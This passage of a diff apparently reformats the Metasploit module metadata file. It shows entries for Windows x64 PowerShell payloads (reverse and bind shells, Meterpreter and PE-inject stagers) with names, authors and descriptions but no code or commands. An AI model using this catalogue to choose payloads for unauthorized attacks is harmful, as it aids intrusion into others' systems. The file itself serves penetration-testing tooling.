"needs_cleanup": false, "payload_type": 8, @@ -232108,9 +206319,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232121,9 +206330,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232137,8 +206344,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232151,9 +206357,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_http": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232163,9 +206367,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232179,8 +206381,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232193,9 +206394,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_https": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232207,9 +206406,7 @@ "rwincey" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232223,8 +206420,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232237,9 +206433,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232249,9 +206443,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232265,8 +206457,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232279,9 +206470,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232291,9 +206480,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232307,8 +206494,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232321,9 +206507,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232338,9 +206522,7 @@ "RageLtMan" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232354,8 +206536,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232368,9 +206549,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232381,9 +206560,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232397,8 +206574,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232411,9 +206587,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_winhttp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232423,9 +206597,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232439,8 +206611,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232453,9 +206624,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_winhttps": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232465,9 +206634,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232481,8 +206648,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232495,9 +206661,7 @@ "payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": { "name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232507,9 +206671,7 @@ "Shelby Pace" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232523,8 +206685,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232537,9 +206698,7 @@ "payload_cmd/windows/powershell/x64/exec": { "name": "Powershell Exec, Windows x64 Execute Command", "fullname": "payload/cmd/windows/powershell/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232548,9 +206707,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232564,8 +206721,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232576,9 +206732,7 @@ "payload_cmd/windows/powershell/x64/loadlibrary": { "name": "Powershell Exec, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/powershell/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232588,9 +206742,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232604,8 +206756,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232616,9 +206767,7 @@ "payload_cmd/windows/powershell/x64/messagebox": { "name": "Powershell Exec, Windows MessageBox x64", "fullname": "payload/cmd/windows/powershell/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232627,9 +206776,7 @@ "pasta " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232643,8 +206790,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232655,9 +206801,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232685,8 +206829,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232699,9 +206842,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232729,8 +206870,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232743,9 +206883,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232774,8 +206912,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232788,9 +206925,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232818,8 +206953,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232832,9 +206966,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232866,8 +206998,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232880,9 +207011,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232910,8 +207039,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232924,9 +207052,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_http": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232954,8 +207080,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232968,9 +207093,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_https": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233001,8 +207124,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233015,9 +207137,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_named_pipe": { "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233045,8 +207165,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233059,9 +207178,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233089,8 +207206,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233103,9 +207219,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233137,8 +207251,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233151,9 +207264,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233181,8 +207292,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233195,9 +207305,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttp": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233225,8 +207333,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233239,9 +207346,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttps": { "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233269,8 +207374,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233283,9 +207387,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233311,8 +207413,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233325,9 +207426,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233354,8 +207453,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233368,9 +207466,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233396,8 +207492,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233410,9 +207505,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233438,8 +207531,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233452,9 +207544,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233485,8 +207575,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233499,9 +207588,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233528,8 +207615,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233542,9 +207628,7 @@ "payload_cmd/windows/powershell/x64/peinject/reverse_named_pipe": { "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233570,8 +207654,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233584,9 +207667,7 @@ "payload_cmd/windows/powershell/x64/peinject/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233612,8 +207693,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233626,9 +207706,7 @@ "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233659,8 +207737,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233673,9 +207750,7 @@ "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233702,8 +207777,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233716,9 +207790,7 @@ "payload_cmd/windows/powershell/x64/pingback_reverse_tcp": { "name": "Powershell Exec, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233727,9 +207799,7 @@ "bwatters-r7" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -233743,8 +207813,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233755,9 +207824,7 @@ "payload_cmd/windows/powershell/x64/powershell_bind_tcp": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233784,8 +207851,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233796,9 +207862,7 @@ "payload_cmd/windows/powershell/x64/powershell_reverse_tcp": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233825,8 +207889,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233837,9 +207900,7 @@ "payload_cmd/windows/powershell/x64/powershell_reverse_tcp_ssl": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233866,8 +207927,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233878,9 +207938,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233889,9 +207947,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -233905,8 +207961,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233919,9 +207974,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233931,9 +207984,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -233947,8 +207998,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233961,9 +208011,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233973,9 +208021,7 @@ "UserExistsError" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -233989,8 +208035,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234003,9 +208048,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234014,9 +208057,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234030,8 +208071,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234044,9 +208084,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_tcp_rc4": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234060,9 +208098,7 @@ "RageLtMan" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234076,8 +208112,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234090,9 +208125,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234102,9 +208135,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234118,8 +208149,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234132,9 +208162,7 @@ "payload_cmd/windows/powershell/x64/shell/reverse_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234143,9 +208171,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234159,8 +208185,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234173,9 +208198,7 @@ "payload_cmd/windows/powershell/x64/shell/reverse_tcp_rc4": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234189,9 +208212,7 @@ "RageLtMan" ], "description": "Execute an x64 payload from a command via 